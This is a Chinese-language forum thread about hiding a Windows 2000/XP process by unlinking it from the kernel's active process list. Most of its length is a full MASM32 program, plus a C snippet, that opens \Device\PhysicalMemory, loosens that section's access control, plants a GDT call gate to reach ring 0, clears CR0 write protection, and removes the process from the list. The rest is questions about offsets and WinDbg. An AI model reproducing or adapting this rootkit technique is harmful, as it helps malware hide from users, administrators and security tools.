关于PJF的win2k下进程隐藏：：

具体代码在：
http://www.xfocus.net/articles/200309/610.html

他在最后说明是只用于2k，
要在xp/2003下隐藏的话，修改一下偏移，
他的方法是直接读取物理内存，修改进程双向链表，把要隐藏的进程节点删除，
主要的偏移是：0xFFDFF124
2k下KPCR偏移是：0xFFDFF000
我用windbg找了一下xp下的KPCR，偏移竟然和2k一样的
但是我运行这个进程隐藏的时候，不成功
不知道怎么回事，老大们可以指点一下吗？

BOOL HideProcessAtAll()
{
    if (InitNTDLL())
    {
        if (OpenPhysicalMemory()==0)
        {
            return FALSE;
        }
        ULONG thread=GetData((PVOID)0xFFDFF124);
        ULONG process=GetData(PVOID(thread+0x22c));
        ULONG fw=GetData(PVOID(process+0xa0)),bw=GetData(PVOID(process+0xa4));
        SetData(PVOID(fw+4),bw);
        SetData(PVOID(bw),fw);
        UnmapViewOfFile(g_pMapPhysicalMemory);
        CloseHandle(g_hMPM);
        CloseNTDLL();
    }
    return TRUE;
}

我问过pjf了，他说完整代码由于某些原因（比如商业）未公开（比如页目录的获取等等），对于那些问题，可以参考29a出的类似的代码，里面有XP的偏移等，不过29a访问内核数据用的是webcrazy的方案。

顶

xfocus的帖子里有这么一句“
调用HideProcessAtAll即隐藏当前进程，如若一运行就隐藏，会修改到进程活动链表头，运行一段时间
后可能出现些小问题，怎么解决，留作“课后习题”了^_^
    注意默认物理地址0x30000为一页目录，在大多数情况时这样，但是是有例外的！怎么解决亦留作“...”
吧，不多废话了。
”
第一个问题解决了没？
第二个0x30000（映射到0xc0030000吗？）有目录吗？

wowocock,你的代码里对SetThreadPriority和Sleep的调用是做什么用的啊？还有ENTERRING0 宏里对cr0的修改是做什么用的？
不过好像没用到这个宏，virtuallock需要吗?

谢谢！！

谁跟你说是一样的,参考我的例子用MASM32编译
.686p
.model flat, stdcall
option casemap :none   ; case sensitive
; #########################################################################
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\advapi32.inc
      
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\advapi32.lib
DEBUG = TRUE

HMODULE typedef dword
NTSTATUS typedef dword
PACL typedef dword
PSECURITY_DESCRIPTOR typedef dword

OBJ_INHERIT=2
OBJ_PERMANENT=10h
OBJ_EXCLUSIVE=20h
OBJ_CASE_INSENSITIVE=40h
OBJ_OPENIF=80h
OBJ_OPENLINK =100h
OBJ_KERNEL_HANDLE=200
OBJ_VALID_ATTRIBUTES=3F2h

SE_KERNEL_OBJECT = 6
GRANT_ACCESS =1
NO_INHERITANCE =0
TRUSTEE_IS_NAME=1
TRUSTEE_IS_USER=1
STATUS_SUCCESS =0
STATUS_ACCESS_DENIED =0C0000022h

STATUS_ACCESS_VIOLATION equ 0C0000005h
STATUS_INFO_LENGTH_MISMATCH equ 0C0000004h
SystemModuleInformation               equ 11
PVOID  TYPEDEF DWORD
UNLONG TYPEDEF DWORD
CHAR   TYPEDEF BYTE

UNICODE_STRING struct
   nLength word ?
   MaximumLength word ?
   Buffer dword ?
UNICODE_STRING ends

OBJECT_ATTRIBUTES struct
   nLength dword ?
   RootDirectory HANDLE ?
   ObjectName dword ?;PUNICODE_STRING  
   Attributes dword ?;
   SecurityDescriptor dword ?; PVOID // Points to type SECURITY_DESCRIPTOR
   SecurityQualityOfService dword ?;PVOID  // Points to type SECURITY_QUALITY_OF_SERVICE
OBJECT_ATTRIBUTES ends


TRUSTEE struct
    pMultipleTrustee dword ?;PTRUSTEE                    
    MultipleTrusteeOperation dword ?; MULTIPLE_TRUSTEE_OPERATION  
    TrusteeForm dword ?;TRUSTEE_FORM
    TrusteeType dword ?;TRUSTEE_TYPE                
    ptstrName dword ?;LPTSTR                      
TRUSTEE ends


EXPLICIT_ACCESS  struct
    grfAccessPermissions DWORD   ?    
    grfAccessMode  dword ? ;ACCESS_MODE
    grfInheritance DWORD ?       ;
    Trustee TRUSTEE  <>    ;
EXPLICIT_ACCESS ends

MyGATE     struct    ;门结构类型定义
    OFFSETL  WORD      ?  ;32位偏移的低16位
    SELECTOR WORd      ?  ;选择子
    DCOUNT   BYTE      ?  ;双字计数字段
    GTYPE    BYTE      ?  ;类型
    OFFSETH  WORD     ?  ;32位偏移的高16位
MyGATE     ends

SetPhyscialMemorySectionCanBeWrited proto :dword
MiniMmGetPhysicalAddress proto :dword

ENTERRING0 macro
pushad  
pushfd
cli
mov eax,cr0   ;get rid off readonly protect
and eax,0fffeffffh
mov cr0,eax
endm

LEAVERING0 macro
mov eax,cr0 ;restore readonly protect
or eax,10000h
mov cr0,eax
sti
popfd
popad  
retf
endm


UNICODE_STR macro str
irpc _c,<str>
db '&_c'
db 0
endm
endm

.data?
GdtLimit dw ?
GdtAddr dd ?

mapAddr dd ?
OldEsp dd ?

ProcessOffset dd ?
g_osvi OSVERSIONINFO<?>

.data
align 4
objname dw objnamestr_size,objnamestr_size+2
objnameptr dd 0
objnamestr equ this byte
UNICODE_STR <\Device\PhysicalMemory>
objnamestr_size equ $-objnamestr

align 4
ObjAttr db 24 dup (0)
IsIdtFlag dd 0
IsNt dd 0
IsXp dd 0
Callgt dq 0        ;call gate's sel:off
Caption db 'Hide Process',0
Text            db "Can you see me?",0

.code

SetPhyscialMemorySectionCanBeWrited proc uses ebx esi edi hSection:HANDLE
local pDacl: PACL
local pNewDacl:PACL
local pSD :PSECURITY_DESCRIPTOR
local dwRes:DWORD ;
local ea:EXPLICIT_ACCESS ;
invoke GetSecurityInfo,hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,\
                  NULL,NULL, addr pDacl,NULL, addr pSD
cmp eax,ERROR_SUCCESS
jz @f
jmp OutSet
@@:
mov dwRes,eax
mov ea.grfAccessPermissions ,SECTION_MAP_WRITE;2
mov ea.grfAccessMode ,GRANT_ACCESS;1
mov ea.grfInheritance,NO_INHERITANCE;0
mov ea.Trustee.pMultipleTrustee,0
mov ea.Trustee.MultipleTrusteeOperation,0
mov ea.Trustee.TrusteeForm,TRUSTEE_IS_NAME;1
mov ea.Trustee.TrusteeType,TRUSTEE_IS_USER;1
call @f
db "CURRENT_USER",0
@@:
pop edx
mov ea.Trustee.ptstrName,edx
invoke SetEntriesInAcl,1,addr ea,pDacl,addr pNewDacl
cmp eax,ERROR_SUCCESS
jz @f
jmp OutSet
@@:
invoke SetSecurityInfo,hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,\
                  NULL,NULL,pNewDacl,NULL
OutSet:
cmp pSD,0
jz @f
invoke LocalFree,pSD
@@:
cmp pNewDacl,0
jz @f
invoke LocalFree,pNewDacl
@@:
ret
SetPhyscialMemorySectionCanBeWrited endp

MiniMmGetPhysicalAddress proc virtualaddress:dword
 mov eax,virtualaddress
 cmp eax,80000000h
 jb @f
 cmp eax,0a0000000h
 jae @f
 and eax,1FFFF000h
 ret
 @@:
 mov eax,0
 ret
MiniMmGetPhysicalAddress endp

ExecRing0Proc proc
local tmpSel:dword
local setcg:dword
local BaseAddress:dword
local NtdllMod :dword
local hSection:HANDLE
local status:NTSTATUS
local objectAttributes:OBJECT_ATTRIBUTES  
local objName:UNICODE_STRING
mov status,STATUS_SUCCESS;
sgdt GdtLimit
invoke MiniMmGetPhysicalAddress,GdtAddr
mov mapAddr,eax
test eax,eax
jz Exit1
call @f
db "Ntdll.dll",0
@@:
call LoadLibraryA
mov NtdllMod,eax

lea edx,objnamestr
mov objnameptr,edx
lea edi,ObjAttr
and di,0fffch ;align to 4 bytes,or ZwOpenSection will fail
push edi   ;edi->ObjAttr
push 24    ;length of <\Device\PhysicalMemory>
pop ecx
push ecx
xor eax,eax
rep stosb   ;put ObjAttr with 0
pop ecx
pop edi
mov esi,edi
stosd
mov dword ptr[esi],ecx
stosd
lea eax,[edx-8] ;eax->objname
stosd      ;ObjAddr(18h,00,00,00,00,00,00,00,offset objname,40,02,00,00,dd 2 dup(0)
mov dword ptr [edi],240h

call @f
db "ZwOpenSection",0
@@:
push NtdllMod
call GetProcAddress
mov ebx,eax ;ebx=ZwOpenSection

push esi ;esi->ObjAttr
push SECTION_MAP_READ or SECTION_MAP_WRITE
lea edi,hSection
push edi ;edi->hSection
call eax ;ZwOpenSection(&hSection,SECTION_MAP_READ or SECTION_MAP_WRITE,ObjAttr)

mov status,eax
cmp status,STATUS_ACCESS_DENIED
jnz AccessPermit
mov eax,ebx

push esi
push READ_CONTROL or WRITE_DAC
push edi
call eax

mov status,eax
invoke SetPhyscialMemorySectionCanBeWrited,hSection

call @f
db "ZwClose",0
@@:
push NtdllMod
call GetProcAddress

push hSection
call eax  ;zwClose hSection

mov eax,ebx

push esi
push SECTION_MAP_READ or SECTION_MAP_WRITE
lea edi,hSection
push edi
call eax
mov status ,eax
;status =ZwOpenSection(&hSection,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&objectAttributes);
AccessPermit:
cmp status ,STATUS_SUCCESS
jz @f
;printf("Error Open PhysicalMemory Section Object,Status:%08X\n",status);
;return 0;
mov eax,0
ret
@@:
movzx eax,word ptr[GdtLimit]
inc eax
invoke MapViewOfFile,hSection, FILE_MAP_READ or FILE_MAP_WRITE, 0, mapAddr, \
                     eax
mov BaseAddress,eax
cmp BaseAddress,0
jnz @f
;printf("Error MapViewOfFile:");
;PrintWin32Error(GetLastError()); return 0;
mov eax,0
ret
@@:
mov    esi,eax ;esi->gdt base
mov ecx,3e0h
mov eax,GdtAddr

.if dword ptr [esi+ecx+2]!=0ec0003e8h
mov byte ptr [esi],0c3h

mov word ptr [esi+ecx],ax
shr eax,16
mov word ptr [esi+ecx+6],ax
mov dword ptr [esi+ecx+2],0ec0003e8h

mov dword ptr [esi+ecx+8],0000ffffh
mov dword ptr [esi+ecx+12],00cf9a00h
.endif

mov setcg,TRUE
cmp setcg,0
jnz ChangeOK
call @f
db "ZwClose",0
@@:
push NtdllMod
call GetProcAddress
push hSection
call eax
xor eax,eax
ret
ChangeOK:
and    dword ptr Callgt,0
xor eax,eax
mov    ax,3e0h
or     al,3h
mov    word  ptr [Callgt+4],ax
;farcall[2]=((short)((ULONG)cg-(ULONG)BaseAddress))|3; //Ring 3 callgate;
lea eax,_Ring0Proc
;invoke VirtualLock,eax,seglen
test eax,eax
jnz @f
xor eax,eax
ret
@@:
invoke GetCurrentThread
invoke SetThreadPriority,eax,THREAD_PRIORITY_TIME_CRITICAL

mov eax,3e0h
lar edx,eax
jnz Ring3

invoke Sleep,0
call    fword ptr [Callgt]            ;use callgate to Ring0!

_Ring0Proc:   ; Ring0 code here..
mov eax,esp   ;save ring0 esp
mov esp,[esp+4];->ring3 esp
push eax
pushad

mov        eax,dword ptr ds:[0ffdff124h];kteb
mov        eax,[eax+44h] ;kpeb
.if IsNt==1
    mov ProcessOffset,0a0h
.elseif IsXp==1
    mov ProcessOffset,088h
.endif
mov ecx,ProcessOffset
mov esi,dword ptr[eax+ecx] ;forword
mov edi,dword ptr[eax+ecx+4] ;backword

mov dword ptr[esi+4],edi
mov dword ptr[edi],esi

popad
pop esp   ;restore ring0 esp
push offset Ring3
retf
Ring0CodeLen=$-_Ring0Proc

Ring3:
invoke GetCurrentThread
invoke SetThreadPriority,eax,THREAD_PRIORITY_NORMAL

;invoke VirtualUnlock,Entry,seglen

call @f
db "ZwClose",0
@@:
push NtdllMod
call GetProcAddress
push hSection
call eax
mov eax,TRUE
ret
ExecRing0Proc endp

main:
assume fs:nothing
push offset MySEH
push fs:[0]
mov fs:[0],esp
mov OldEsp,esp
mov ax,ds ;if Win9x?
test ax,4
jnz Exit1

push esi
lea esi,g_osvi
assume esi:ptr OSVERSIONINFO
mov [esi].dwOSVersionInfoSize,sizeof OSVERSIONINFO
invoke GetVersionEx,addr g_osvi
.if [esi].dwMajorVersion != 5
    jmp Exit1
.endif

.if [esi].dwMinorVersion==0
    mov IsNt,1
.elseif [esi].dwMinorVersion==1
    mov IsXp,1
.else
    jmp Exit1
.endif
pop esi

invoke ExecRing0Proc
invoke MessageBoxA,0,addr Text,addr Caption,MB_OK
Exit1:
pop fs:[0]
add esp,4
invoke ExitProcess,0

MySEH :
mov esp,OldEsp
pop fs:[0]
add esp,4
invoke ExitProcess,-1
end main
    

密切关注

自己用SOFTICE对着机器码找......

原来是XP和2k下的KPCR结构不同，但是我在显示这个结构的时候：
!strct KPCR
引入KDEX2X86.DLL后可以看到，但是我死活找不到xp下的KDEX2X86.dll
而用dt _kpcr的时候，只能显示到+120，
现在的问题是如何才能显示全部的结构？

关注 ！